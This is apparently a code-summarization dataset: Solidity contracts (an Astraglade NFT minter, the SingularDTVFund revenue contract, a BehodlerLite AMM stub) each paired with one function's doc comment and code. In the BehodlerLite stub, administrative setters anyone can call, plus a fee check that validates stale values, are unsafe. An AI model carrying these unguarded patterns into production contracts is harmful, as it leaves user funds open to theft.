import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '../ERC721Ownable.sol';
import '../ERC2981/IERC2981Royalties.sol';
import './IOldMetaHolder.sol';
/// @title AstragladeUpgrade
/// @author Simon Fremaux (@dievardump)
contract AstragladeUpgrade is
IERC2981Royalties,
ERC721Ownable,
IERC721Receiver
{
using ECDSA for bytes32;
using Strings for uint256;
// emitted when an Astraglade has been upgrade
event AstragladeUpgraded(address indexed operator, uint256 indexed tokenId);
// emitted when a token owner asks for a metadata update (image or signature)
// because of rendering error
event RequestUpdate(address indexed operator, uint256 indexed tokenId);
struct MintingOrder {
address to;
uint256 expiration;
uint256 seed;
string signature;
string imageHash;
}
struct AstragladeMeta {
uint256 seed;
string signature;
string imageHash;
}
// start at the old contract last token Id minted
uint256 public lastTokenId = 84;
// signer that signs minting orders
address public mintSigner;
// how long before an order expires
uint256 public expiration;
// old astraglade contract to allow upgrade to new token
address public oldAstragladeContract;
// contract that holds metadata of previous contract Astraglades
address public oldMetaHolder;
// contract operator next to the owner
address public contractOperator =
address(0xD1edDfcc4596CC8bD0bd7495beaB9B979fc50336);
// max supply
uint256 constant MAX_SUPPLY = 5555;
// price
uint256 constant PRICE = 0.0888 ether;
// project base render URI
string private _baseRenderURI;
// project description
string internal _description;
// list of Astraglades
mapping(uint256 => AstragladeMeta) internal _astraglades;
// saves if a minting order was already used or not
mapping(bytes32 => uint256) public messageToTokenId;
// request updates
mapping(uint256 => bool) public requestUpdates;
// remaining giveaways
uint256 public remainingGiveaways = 100;
// user giveaways
mapping(address => uint8) public giveaways;
// Petri already redeemed
mapping(uint256 => bool) public petriRedeemed;
address public artBlocks;
address[3] public feeRecipients = [
0xe4657aF058E3f844919c3ee713DF09c3F2949447,
0xb275E5aa8011eA32506a91449B190213224aEc1e,
0xdAC81C3642b520584eD0E743729F238D1c350E62
];
modifier onlyOperator() {
require(isOperator(msg.sender), 'Not operator.');
_;
}
function isOperator(address operator) public view returns (bool) {
return owner() == operator || contractOperator == operator;
}
/// @notice constructor
/// @param name_ name of the contract (see ERC721)
/// @param symbol_ symbol of the contract (see ERC721)
/// @param contractURI_ The contract URI (containing its metadata) - can be empty ""
/// @param openseaProxyRegistry_ OpenSea's proxy registry to allow gas-less listings - can be address(0)
/// @param mintSigner_ Address of the wallet used to sign minting orders
/// @param owner_ Address to whom transfer ownership (can be address(0), then owner is deployer)
constructor(
string memory name_,
string memory symbol_,
string memory contractURI_,
address openseaProxyRegistry_,
address mintSigner_,
address owner_,
address oldAstragladeContract_,
address oldMetaHolder_,
address artBlocks_
)
ERC721Ownable(
name_,
symbol_,
contractURI_,
openseaProxyRegistry_,
owner_
)
{
mintSigner = mintSigner_;
oldAstragladeContract = oldAstragladeContract_;
oldMetaHolder = oldMetaHolder_;
artBlocks = artBlocks_;
}
/// @notice Mint one token using a minting order
/// @dev mintingSignature must be a signature that matches `mintSigner` for `mintingOrder`
/// @param mintingOrder the minting order
/// @param mintingSignature signature for the mintingOrder
/// @param petriId petri id to redeem if owner and not already redeemed the free AG
function mint(
MintingOrder memory mintingOrder,
bytes memory mintingSignature,
uint256 petriId
) external payable {
bytes32 message = hashMintingOrder(mintingOrder)
.toEthSignedMessageHash();
address sender = msg.sender;
require(
message.recover(mintingSignature) == mintSigner,
'Wrong minting order signature.'
);
require(
mintingOrder.expiration >= block.timestamp,
'Minting order expired.'
);
require(
mintingOrder.to == sender,
'Minting order for another address.'
);
require(mintingOrder.seed != 0, 'Seed can not be 0');
require(messageToTokenId[message] == 0, 'Token already minted.');
uint256 tokenId = lastTokenId + 1;
require(tokenId <= MAX_SUPPLY, 'Max supply already reached.');
uint256 mintingCost = PRICE;
// For Each Petri (https://artblocks.io/project/67/) created by Fabin on artblocks.io
// the owner can claim a free Astraglade
// After a Petri was used, it CAN NOT be used again to claim another Astraglade
if (petriId >= 67000000 && petriId < 67000200) {
require(
// petri was not redeemed already
petriRedeemed[petriId] == false &&
// msg.sender is Petri owner
ERC721(artBlocks).ownerOf(petriId) == sender,
'Petri already redeemed or not owner'
);
petriRedeemed[petriId] = true;
mintingCost = 0;
} else if (giveaways[sender] > 0) {
// if the user has some free mints
giveaways[sender]--;
mintingCost = 0;
}
require(
msg.value == mintingCost || isOperator(sender),
'Incorrect value.'
);
lastTokenId = tokenId;
messageToTokenId[message] = tokenId;
_astraglades[tokenId] = AstragladeMeta({
seed: mintingOrder.seed,
signature: mintingOrder.signature,
imageHash: mintingOrder.imageHash
});
_safeMint(mintingOrder.to, tokenId, '');
}
/// @inheritdoc ERC165
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
ERC721Enumerable.supportsInterface(interfaceId) ||
interfaceId == type(IERC2981Royalties).interfaceId;
}
/// @notice Helper to get the price
/// @return the price to mint
function getPrice() external pure returns (uint256) {
return PRICE;
}
/// @notice tokenURI override that returns a data:json application
/// @inheritdoc ERC721
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
AstragladeMeta memory astraglade = getAstraglade(tokenId);
string memory astraType;
if (tokenId <= 10) {
astraType = 'Universa';
} else if (tokenId <= 100) {
astraType = 'Galactica';
} else if (tokenId <= 1000) {
astraType = 'Nebula';
} else if (tokenId <= 2500) {
astraType = 'Meteora';
} else if (tokenId <= 5554) {
astraType = 'Solaris';
} else {
astraType = 'Quanta';
}
return
string(
abi.encodePacked(
'data:application/json;utf8,{"name":"Astraglade - ',
tokenId.toString(),
' - ',
astraType,
'","license":"CC BY-SA 4.0","description":"',
getDescription(),
'","created_by":"Fabin Rasheed","twitter":"@astraglade","image":"ipfs://ipfs/',
astraglade.imageHash,
'","seed":"',
astraglade.seed.toString(),
'","signature":"',
astraglade.signature,
'","animation_url":"',
renderTokenURI(tokenId),
'"}'
)
);
}
/// @notice function that returns a string that can be used to render the current token
/// @param tokenId tokenId
/// @return the URI to render token
function renderTokenURI(uint256 tokenId)
public
view
returns (string memory)
{
AstragladeMeta memory astraglade = getAstraglade(tokenId);
return
string(
abi.encodePacked(
getBaseRenderURI(),
'?seed=',
astraglade.seed.toString(),
'&signature=',
astraglade.signature
)
);
}
/// @notice Returns Metadata for Astraglade id
/// @param tokenId the tokenId we want metadata for
function getAstraglade(uint256 tokenId)
public
view
returns (AstragladeMeta memory astraglade)
{
require(_exists(tokenId), 'Astraglade: nonexistent token');
// if the metadata are in this contract
if (_astraglades[tokenId].seed != 0) {
astraglade = _astraglades[tokenId];
} else {
// or in the old one
(
uint256 seed,
string memory signature,
string memory imageHash
) = IOldMetaHolder(oldMetaHolder).get(tokenId);
astraglade.seed = seed;
astraglade.signature = signature;
astraglade.imageHash = imageHash;
}
}
/// @notice helper to get the description
function getDescription() public view returns (string memory) {
if (bytes(_description).length == 0) {
return
'Astraglade is an interactive, generative, 3D collectible project. Astraglades are collected through a unique social collection mechanism. Each version of Astraglade can be signed with a signature which will remain in the artwork forever.';
}
return _description;
}
/// @notice helper to set the description
/// @param newDescription the new description
function setDescription(string memory newDescription)
external
onlyOperator
{
_description = newDescription;
}
/// @notice helper to get the base expiration time
function getExpiration() public view returns (uint256) {
if (expiration == 0) {
return 15 * 60;
}
return expiration;
}
/// @notice helper to set the expiration
/// @param newExpiration the new expiration
function setExpiration(uint256 newExpiration) external onlyOperator {
expiration = newExpiration;
}
/// @notice helper to get the baseRenderURI
function getBaseRenderURI() public view returns (string memory) {
if (bytes(_baseRenderURI).length == 0) {
return 'ipfs://ipfs/QmP85DSrtLAxSBnct9iUr7qNca43F3E4vuG6Jv5aoTh9w7';
}
return _baseRenderURI;
}
/// @notice helper to set the baseRenderURI
/// @param newRenderURI the new renderURI
function setBaseRenderURI(string memory newRenderURI)
external
onlyOperator
{
_baseRenderURI = newRenderURI;
}
/// @notice Helper to do giveaways - there can only be `remainingGiveaways` giveaways given all together
/// @param winner the giveaway winner
/// @param count how many we giveaway to recipient
function giveaway(address winner, uint8 count) external onlyOperator {
require(remainingGiveaways >= count, 'Giveaway limit reached');
remainingGiveaways -= count;
giveaways[winner] += count;
}
/// @dev Receive, for royalties
receive() external payable {}
/// @dev Owner withdraw balance function
function withdraw() external onlyOperator {
address[3] memory feeRecipients_ = feeRecipients;
uint256 balance_ = address(this).balance;
payable(address(feeRecipients_[0])).transfer((balance_ * 30) / 100);
payable(address(feeRecipients_[1])).transfer((balance_ * 35) / 100);
payable(address(feeRecipients_[2])).transfer(address(this).balance);
}
/// @notice helper to set the fee recipient at `index`
/// @param newFeeRecipient the new address
/// @param index the index to edit
function setFeeRecipient(address newFeeRecipient, uint8 index)
external
onlyOperator
{
require(index < feeRecipients.length, 'Index too high.');
require(newFeeRecipient != address(0), 'Invalid address.');
feeRecipients[index] = newFeeRecipient;
}
/// @notice 10% royalties going to this contract
/// @inheritdoc IERC2981Royalties
function royaltyInfo(uint256, uint256 value)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
receiver = address(this);
royaltyAmount = (value * 1000) / 10000;
}
/// @notice Hash the Minting Order so it can be signed by the signer
/// @param mintingOrder the minting order
/// @return the hash to sign
function hashMintingOrder(MintingOrder memory mintingOrder)
public
pure
returns (bytes32)
{
return keccak256(abi.encode(mintingOrder));
}
/// @notice Helper for the owner to change current minting signer
/// @dev needs to be owner
/// @param mintSigner_ new signer
function setMintingSigner(address mintSigner_) external onlyOperator {
require(mintSigner_ != address(0), 'Invalid Signer address.');
mintSigner = mintSigner_;
}
/// @notice Helper for an operator to change the current operator address
/// @param newOperator the new operator
function setContractOperator(address newOperator) external onlyOperator {
contractOperator = newOperator;
}
/// @notice Helper for the owner to change the oldMetaHolder
/// @dev needs to be owner
/// @param oldMetaHolder_ new oldMetaHolder address
function setOldMetaHolder(address oldMetaHolder_) external onlyOperator {
require(oldMetaHolder_ != address(0), 'Invalid Contract address.');
oldMetaHolder = oldMetaHolder_;
}
/// @notice Helpers that returns the MintingOrder plus the message to sign
/// @param to the address of the creator
/// @param seed the seed
/// @param signature the signature
/// @param imageHash image hash
/// @return mintingOrder and message to hash
function createMintingOrder(
address to,
uint256 seed,
string memory signature,
string memory imageHash
)
external
view
returns (MintingOrder memory mintingOrder, bytes32 message)
{
mintingOrder = MintingOrder({
to: to,
expiration: block.timestamp + getExpiration(),
seed: seed,
signature: signature,
imageHash: imageHash
});
message = hashMintingOrder(mintingOrder);
}
/// @notice returns a tokenId from an mintingOrder, used to know if already minted
/// @param mintingOrder the minting order to check
/// @return an integer. 0 if not minted, else the tokenId
function tokenIdFromOrder(MintingOrder memory mintingOrder)
external
view
returns (uint256)
{
bytes32 message = hashMintingOrder(mintingOrder)
.toEthSignedMessageHash();
return messageToTokenId[message];
}
/// @notice Allows an owner to request a metadata update.
/// Because Astraglade are generated from a backend it can happen that a bug
/// blocks the generation of the image OR that a signature with special characters stops the
/// token from working.
/// This method allows a user to ask for regeneration of the image / signature update
/// A contract operator can then update imageHash and / or signature
/// @param tokenId the tokenId to update
function requestMetaUpdate(uint256 tokenId) external {
require(ownerOf(tokenId) == msg.sender, 'Not token owner.');
requestUpdates[tokenId] = true;
emit RequestUpdate(msg.sender, tokenId);
}
/// @notice Allows an operator of this contract to update a tokenId metadata (signature or image hash)
/// after it was requested by its owner.
/// This is only used in the case the generation of the Preview image did fail
/// in some way or if the signature has special characters that stops the token from working
/// @param tokenId the tokenId to update
/// @param newImageHash the new imageHash (can be empty)
/// @param newSignature the new signature (can be empty)
function updateMeta(
uint256 tokenId,
string memory newImageHash,
string memory newSignature
) external onlyOperator {
require(
requestUpdates[tokenId] == true,
'No update request for token.'
);
requestUpdates[tokenId] = false;
// get the current Astraglade data
// for ids 1-82 it can come from oldMetaHolder
AstragladeMeta memory astraglade = getAstraglade(tokenId);
if (bytes(newImageHash).length > 0) {
astraglade.imageHash = newImageHash;
}
if (bytes(newSignature).length > 0) {
astraglade.signature = newSignature;
}
// save the new state
_astraglades[tokenId] = astraglade;
}
/// @notice function used to allow upgrade of old contract Astraglade to this one.
/// @inheritdoc IERC721Receiver
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes calldata
) external override returns (bytes4) {
require(msg.sender == oldAstragladeContract, 'Only old Astraglades.');
// mint tokenId to from
_mint(from, tokenId);
// burn old tokenId
ERC721Burnable(msg.sender).burn(tokenId);
emit AstragladeUpgraded(from, tokenId);
return 0x150b7a02;
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title IOldMetaHolder
/// @author Simon Fremaux (@dievardump)
interface IOldMetaHolder {
function get(uint256 tokenId)
external
pure
returns (
uint256,
string memory,
string memory
);
}
|
Helper for the owner to change current minting signer needs to be owner mintSigner_ new signer
|
function setMintingSigner(address mintSigner_) external onlyOperator {
require(mintSigner_ != address(0), 'Invalid Signer address.');
mintSigner = mintSigner_;
}
| 164,226
|
//Address: 0xe736091fc36f1ad476f5e4e03e4425940822d3ba
//Contract name: SingularDTVFund
//Balance: 3.630685972653289973 Ether
//Verification Date: 10/5/2016
//Transacion Count: 294
// CODE STARTS HERE
/// Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20
/// @title Abstract token contract - Functions to be implemented by token contracts.
/// @author Stefan George - <stefan.george@consensys.net>
contract Token {
// This is not an abstract function, because solc won't recognize generated getter functions for public variables as functions
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address owner) constant returns (uint256 balance);
function transfer(address to, uint256 value) returns (bool success);
function transferFrom(address from, address to, uint256 value) returns (bool success);
function approve(address spender, uint256 value) returns (bool success);
function allowance(address owner, address spender) constant returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SingularDTVToken is Token {
function issueTokens(address _for, uint tokenCount) returns (bool);
}
contract SingularDTVCrowdfunding {
function twoYearsPassed() returns (bool);
function startDate() returns (uint);
function CROWDFUNDING_PERIOD() returns (uint);
function TOKEN_TARGET() returns (uint);
function valuePerShare() returns (uint);
function fundBalance() returns (uint);
function campaignEndedSuccessfully() returns (bool);
}
/// @title Fund contract - Implements revenue distribution.
/// @author Stefan George - <stefan.george@consensys.net>
contract SingularDTVFund {
/*
* External contracts
*/
SingularDTVToken public singularDTVToken;
SingularDTVCrowdfunding public singularDTVCrowdfunding;
/*
* Storage
*/
address public owner;
address constant public workshop = 0xc78310231aA53bD3D0FEA2F8c705C67730929D8f;
uint public totalRevenue;
// User's address => Revenue at time of withdraw
mapping (address => uint) public revenueAtTimeOfWithdraw;
// User's address => Revenue which can be withdrawn
mapping (address => uint) public owed;
/*
* Modifiers
*/
modifier noEther() {
if (msg.value > 0) {
throw;
}
_
}
modifier onlyOwner() {
// Only guard is allowed to do this action.
if (msg.sender != owner) {
throw;
}
_
}
modifier campaignEndedSuccessfully() {
if (!singularDTVCrowdfunding.campaignEndedSuccessfully()) {
throw;
}
_
}
/*
* Contract functions
*/
/// @dev Deposits revenue. Returns success.
function depositRevenue()
external
campaignEndedSuccessfully
returns (bool)
{
totalRevenue += msg.value;
return true;
}
/// @dev Withdraws revenue for user. Returns revenue.
/// @param forAddress user's address.
function calcRevenue(address forAddress) internal returns (uint) {
return singularDTVToken.balanceOf(forAddress) * (totalRevenue - revenueAtTimeOfWithdraw[forAddress]) / singularDTVToken.totalSupply();
}
/// @dev Withdraws revenue for user. Returns revenue.
function withdrawRevenue()
external
noEther
returns (uint)
{
uint value = calcRevenue(msg.sender) + owed[msg.sender];
revenueAtTimeOfWithdraw[msg.sender] = totalRevenue;
owed[msg.sender] = 0;
if (value > 0 && !msg.sender.send(value)) {
throw;
}
return value;
}
/// @dev Credits revenue to owed balance.
/// @param forAddress user's address.
function softWithdrawRevenueFor(address forAddress)
external
noEther
returns (uint)
{
uint value = calcRevenue(forAddress);
revenueAtTimeOfWithdraw[forAddress] = totalRevenue;
owed[forAddress] += value;
return value;
}
/// @dev Setup function sets external contracts' addresses.
/// @param singularDTVTokenAddress Token address.
function setup(address singularDTVCrowdfundingAddress, address singularDTVTokenAddress)
external
noEther
onlyOwner
returns (bool)
{
if (address(singularDTVCrowdfunding) == 0 && address(singularDTVToken) == 0) {
singularDTVCrowdfunding = SingularDTVCrowdfunding(singularDTVCrowdfundingAddress);
singularDTVToken = SingularDTVToken(singularDTVTokenAddress);
return true;
}
return false;
}
/// @dev Contract constructor function sets guard address.
function SingularDTVFund() noEther {
// Set owner address
owner = msg.sender;
}
}
|
Credits revenue to owed balance. forAddress user's address.
|
function softWithdrawRevenueFor(address forAddress)
external
noEther
returns (uint)
{
uint value = calcRevenue(forAddress);
revenueAtTimeOfWithdraw[forAddress] = totalRevenue;
owed[forAddress] += value;
return value;
}
| 970,897
|
// File: contracts/openzeppelin/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "hardhat/console.sol";
import "./CommonIERC20.sol";
abstract contract Burnable {
function burn(uint256 amount) public virtual;
function symbol() public pure virtual returns (string memory);
function burn(address holder, uint256 amount) public virtual;
}
contract ScarcityLite is CommonIERC20 {
event Mint(address sender, address recipient, uint256 value);
event Burn(uint256 value);
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
struct BurnConfig {
uint256 transferFee; // percentage expressed as number betewen 1 and 1000
uint256 burnFee; // percentage expressed as number betewen 1 and 1000
address feeDestination;
}
BurnConfig public config;
function configureScarcity(
uint256 transferFee,
uint256 burnFee,
address feeDestination
) public {
require(config.transferFee + config.burnFee < 1000);
config.transferFee = transferFee;
config.burnFee = burnFee;
config.feeDestination = feeDestination;
}
function getConfiguration()
public
view
returns (
uint256,
uint256,
address
)
{
return (config.transferFee, config.burnFee, config.feeDestination);
}
function name() public pure returns (string memory) {
return "Scarcity";
}
function symbol() public pure returns (string memory) {
return "SCX";
}
function decimals() public pure override returns (uint8) {
return 18;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender] - (amount));
return true;
}
function burn(uint256 value) external returns (bool) {
burn(msg.sender, value);
return true;
}
function burn(address holder, uint256 value) internal {
balances[holder] = balances[holder] - value;
_totalSupply = _totalSupply - value;
emit Burn(value);
}
function mint(address recipient, uint256 value) internal {
balances[recipient] = balances[recipient] + (value);
_totalSupply = _totalSupply + (value);
emit Mint(msg.sender, recipient, value);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
//outside of Behodler, Scarcity transfer incurs a fee.
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "Scarcity: transfer from the zero address");
require(recipient != address(0), "Scarcity: transfer to the zero address");
uint256 feeComponent = (config.transferFee * amount) / (1000);
// console.log("transferFee %s, amount %s, feeComponent %s", config.transferFee, amount, feeComponent);
uint256 burnComponent = (config.burnFee * amount) / (1000);
_totalSupply = _totalSupply - burnComponent;
emit Burn(burnComponent);
balances[config.feeDestination] = balances[config.feeDestination] + (feeComponent);
balances[sender] = balances[sender] - (amount);
balances[recipient] = balances[recipient] + (amount - (feeComponent + burnComponent));
emit Transfer(sender, recipient, amount);
}
function applyBurnFee(
address token,
uint256 amount,
bool proxyBurn
) internal returns (uint256) {
uint256 burnAmount = (config.burnFee * amount) / (1000);
Burnable bToken = Burnable(token);
if (proxyBurn) {
bToken.burn(address(this), burnAmount);
} else {
bToken.burn(burnAmount);
}
return burnAmount;
}
}
library AddressBalanceCheck {
function tokenBalance(address token) public view returns (uint256) {
return CommonIERC20(token).balanceOf(address(this));
}
function shiftedBalance(address token, uint256 factor) public view returns (uint256) {
return CommonIERC20(token).balanceOf(address(this)) / factor;
}
function transferIn(
address token,
address sender,
uint256 value
) public {
CommonIERC20(token).transferFrom(sender, address(this), value);
}
function transferOut(
address token,
address recipient,
uint256 value
) public {
CommonIERC20(token).transfer(recipient, value);
}
}
library ABDK {
/*
* Minimum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;
/*
* Maximum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Convert unsigned 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromUInt(uint256 x) internal pure returns (int128) {
require(x <= 0x7FFFFFFFFFFFFFFF);
return int128(uint128(x << 64));
}
/**
* Calculate x + y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function add(int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) + y;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate binary logarithm of x. Revert if x <= 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function log_2(uint256 x) internal pure returns (uint256) {
require(x > 0);
uint256 msb = 0;
uint256 xc = x;
if (xc >= 0x10000000000000000) {
xc >>= 64;
msb += 64;
}
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
uint256 result = (msb - 64) << 64;
uint256 ux = uint256(x) << uint256(127 - msb);
for (uint256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {
ux *= ux;
uint256 b = ux >> 255;
ux >>= 127 + b;
result += bit * b;
}
return result;
}
}
contract StubLiquidityReceiver {}
contract LachesisLite {
struct tokenConfig {
bool valid;
bool burnable;
}
address public behodler;
mapping(address => tokenConfig) private config;
function cut(address token) public view returns (bool, bool) {
tokenConfig memory parameters = config[token];
return (parameters.valid, parameters.burnable);
}
function measure(
address token,
bool valid,
bool burnable
) public {
_measure(token, valid, burnable);
}
function _measure(
address token,
bool valid,
bool burnable
) internal {
config[token] = tokenConfig({valid: valid, burnable: burnable});
}
function setBehodler(address b) public {
behodler = b;
}
function updateBehodler(address token) public {
(bool valid, bool burnable) = cut(token);
BehodlerLite(behodler).setValidToken(token, valid, burnable);
BehodlerLite(behodler).setTokenBurnable(token, burnable);
}
}
contract BehodlerLite is ScarcityLite {
using ABDK for int128;
using ABDK for uint256;
using AddressBalanceCheck for address;
mapping(address => bool) validTokens;
struct PrecisionFactors {
uint8 swapPrecisionFactor;
uint8 maxLiquidityExit; //percentage as number between 1 and 100
}
address receiver;
address lachesis;
PrecisionFactors safetyParameters;
address tokenDumper;
constructor() {
receiver = address(new StubLiquidityReceiver());
safetyParameters.swapPrecisionFactor = 30; //approximately a billion
safetyParameters.maxLiquidityExit = 90;
tokenDumper = msg.sender;
}
function setLachesis(address l) public {
lachesis = l;
}
function setValidToken(
address token,
bool valid,
bool burnable
) public {
require(msg.sender == lachesis);
validTokens[token] = valid;
tokenBurnable[token] = burnable;
}
modifier onlyValidToken(address token) {
if (!validTokens[token]) console.log("invalid token %s", token);
require(lachesis == address(0) || validTokens[token], "BehodlerLite: tokenInvalid");
_;
}
function setReceiver(address newReceiver) public {
receiver = newReceiver;
}
function setSafetParameters(uint8 swapPrecisionFactor, uint8 maxLiquidityExit) external {
safetyParameters.swapPrecisionFactor = swapPrecisionFactor;
safetyParameters.maxLiquidityExit = maxLiquidityExit;
}
//Logarithmic growth can get quite flat beyond the first chunk. We divide input amounts by
uint256 public constant MIN_LIQUIDITY = 1e12;
mapping(address => bool) public tokenBurnable;
function setTokenBurnable(address token, bool burnable) public {
tokenBurnable[token] = burnable;
}
mapping(address => bool) public whiteListUsers; // can trade on tokens that are disabled
function swap(
address inputToken,
address outputToken,
uint256 inputAmount,
uint256 outputAmount
) external payable onlyValidToken(inputToken) returns (bool success) {
uint256 initialInputBalance = inputToken.tokenBalance();
inputToken.transferIn(msg.sender, inputAmount);
uint256 netInputAmount = inputAmount - burnToken(inputToken, inputAmount);
uint256 initialOutputBalance = outputToken.tokenBalance();
require(
(outputAmount * 100) / initialOutputBalance <= safetyParameters.maxLiquidityExit,
"BEHODLER: liquidity withdrawal too large."
);
uint256 finalInputBalance = initialInputBalance + (netInputAmount);
uint256 finalOutputBalance = initialOutputBalance - (outputAmount);
//new scope to avoid stack too deep errors.
{
//if the input balance after adding input liquidity is 1073741824 bigger than the initial balance, we revert.
uint256 inputRatio = (initialInputBalance << safetyParameters.swapPrecisionFactor) / finalInputBalance;
uint256 outputRatio = (finalOutputBalance << safetyParameters.swapPrecisionFactor) / initialOutputBalance;
require(inputRatio != 0 && inputRatio == outputRatio, "BEHODLER: swap invariant.");
}
require(finalOutputBalance >= MIN_LIQUIDITY, "BEHODLER: min liquidity.");
outputToken.transferOut(msg.sender, outputAmount);
success = true;
}
function addLiquidity(address inputToken, uint256 amount)
external
payable
onlyValidToken(inputToken)
returns (uint256 deltaSCX)
{
uint256 initialBalance = uint256(int256(inputToken.shiftedBalance(MIN_LIQUIDITY).fromUInt()));
inputToken.transferIn(msg.sender, amount);
uint256 netInputAmount = uint256(int256(((amount - burnToken(inputToken, amount)) / MIN_LIQUIDITY).fromUInt()));
uint256 finalBalance = uint256(initialBalance + netInputAmount);
require(uint256(finalBalance) >= MIN_LIQUIDITY, "BEHODLER: min liquidity.");
deltaSCX = uint256(finalBalance.log_2() - (initialBalance > 1 ? initialBalance.log_2() : 0));
mint(msg.sender, deltaSCX);
}
/*
ΔSCX = log(InitialBalance) - log(FinalBalance)
tokensToRelease = InitialBalance -FinalBalance
=>FinalBalance = InitialBalance - tokensToRelease
Then apply logs and deduct SCX from msg.sender
The choice of base for the log isn't relevant from a mathematical point of view
but from a computational point of view, base 2 is the cheapest for obvious reasons.
"From my point of view, the Jedi are evil" - Darth Vader
*/
function withdrawLiquidity(address outputToken, uint256 tokensToRelease)
external
payable
onlyValidToken(outputToken)
returns (uint256 deltaSCX)
{
uint256 initialBalance = outputToken.tokenBalance();
uint256 finalBalance = initialBalance - tokensToRelease;
require(finalBalance > MIN_LIQUIDITY, "BEHODLER: min liquidity");
require(
(tokensToRelease * 100) / initialBalance <= safetyParameters.maxLiquidityExit,
"BEHODLER: liquidity withdrawal too large."
);
uint256 logInitial = initialBalance.log_2();
uint256 logFinal = finalBalance.log_2();
deltaSCX = logInitial - (finalBalance > 1 ? logFinal : 0);
uint256 scxBalance = balances[msg.sender];
if (deltaSCX > scxBalance) {
//rounding errors in scx creation and destruction. Err on the side of holders
uint256 difference = deltaSCX - scxBalance;
if ((difference * 10000) / deltaSCX == 0) deltaSCX = scxBalance;
}
burn(msg.sender, deltaSCX);
outputToken.transferOut(msg.sender, tokensToRelease);
}
/*
ΔSCX = log(InitialBalance) - log(FinalBalance)
tokensToRelease = InitialBalance -FinalBalance
=>FinalBalance = InitialBalance - tokensToRelease
Then apply logs and deduct SCX from msg.sender
The choice of base for the log isn't relevant from a mathematical point of view
but from a computational point of view, base 2 is the cheapest for obvious reasons.
"From my point of view, the Jedi are evil" - Darth Vader
*/
function withdrawLiquidityFindSCX(
address outputToken,
uint256 tokensToRelease,
uint256 scx,
uint256 passes
) external view returns (uint256) {
uint256 upperBoundary = outputToken.tokenBalance();
uint256 lowerBoundary = 0;
for (uint256 i = 0; i < passes; i++) {
uint256 initialBalance = outputToken.tokenBalance();
uint256 finalBalance = initialBalance - tokensToRelease;
uint256 logInitial = initialBalance.log_2();
uint256 logFinal = finalBalance.log_2();
int256 deltaSCX = int256(logInitial - (finalBalance > 1 ? logFinal : 0));
int256 difference = int256(scx) - deltaSCX;
// if (difference**2 < 1000000) return tokensToRelease;
if (difference == 0) return tokensToRelease;
if (difference < 0) {
// too many tokens requested
upperBoundary = tokensToRelease - 1;
} else {
//too few tokens requested
lowerBoundary = tokensToRelease + 1;
}
tokensToRelease = ((upperBoundary - lowerBoundary) / 2) + lowerBoundary; //bitshift
tokensToRelease = tokensToRelease > initialBalance ? initialBalance : tokensToRelease;
}
return tokensToRelease;
}
function burnToken(address token, uint256 amount) private returns (uint256 burnt) {
if (tokenBurnable[token]) {
burnt = applyBurnFee(token, amount, false);
} else {
burnt = (config.burnFee * amount) / (1000);
token.transferOut(receiver, burnt);
}
}
//just for allowing repeat limbo migrations
function dumpTokens(address token) public {
require(msg.sender == tokenDumper, "Only token dumper can dump tokens.");
uint balance = CommonIERC20(token).balanceOf(address(this));
CommonIERC20(token).transfer(msg.sender,balance);
}
}
|
just for allowing repeat limbo migrations
|
function dumpTokens(address token) public {
require(msg.sender == tokenDumper, "Only token dumper can dump tokens.");
uint balance = CommonIERC20(token).balanceOf(address(this));
CommonIERC20(token).transfer(msg.sender,balance);
}
| 12,943,946
|
./partial_match/97/0x39BE117ecd63FC38013E05227e3E2Ffca6c3EB91/sources/Pool1.sol
|
Gets the premium amount of a given cover in SOTE.
|
